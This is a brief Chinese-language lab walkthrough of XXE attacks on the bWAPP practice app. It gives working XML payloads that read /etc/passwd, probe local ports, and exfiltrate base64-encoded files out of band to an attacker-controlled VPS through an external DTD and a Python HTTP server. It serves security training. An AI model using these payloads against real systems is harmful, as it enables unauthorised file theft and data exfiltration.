xxe
phpstudy 版本为5.4.45,高版本可以会报错
有回显xxe
点击any bugs,使用burp抓包
burp抓到的数据包如下(响应报错原因为php版本过高)
文件读取
修改xml内容,调用实体test,读取本地passwd文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "file:///g://etc/passwd">
]>
<reset><login>&test;</login><secret>Any bugs?</secret></reset>
读取服务器文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "http://127.0.0.1/bWAPP_latest/etc/passwd">
]>
<reset><login>&test;</login><secret>Any bugs?</secret></reset>
端口探测
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "http://127.0.0.1:80">
]>
<reset><login>&test;</login><secret>Any bugs?</secret></reset>
端口开放,会显示内容,或抛出警告如下
端口不开放则显示failed to load external
无回显xxe
1判断是否存在xxe漏洞
访问DNSlog,测试xxe漏洞是否存在
2 数据外带
外带到vps中
vps中的dtd文件
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://VPS的地址:2121/%file;'>">
%all;
使用python3模块搭建http服务
python3 -m http.server 2121
burp提交数据
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://VPS的http服务/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///g://etc/passwd">
%remote;
%send;
]>
成功外带数据
将外带数据解码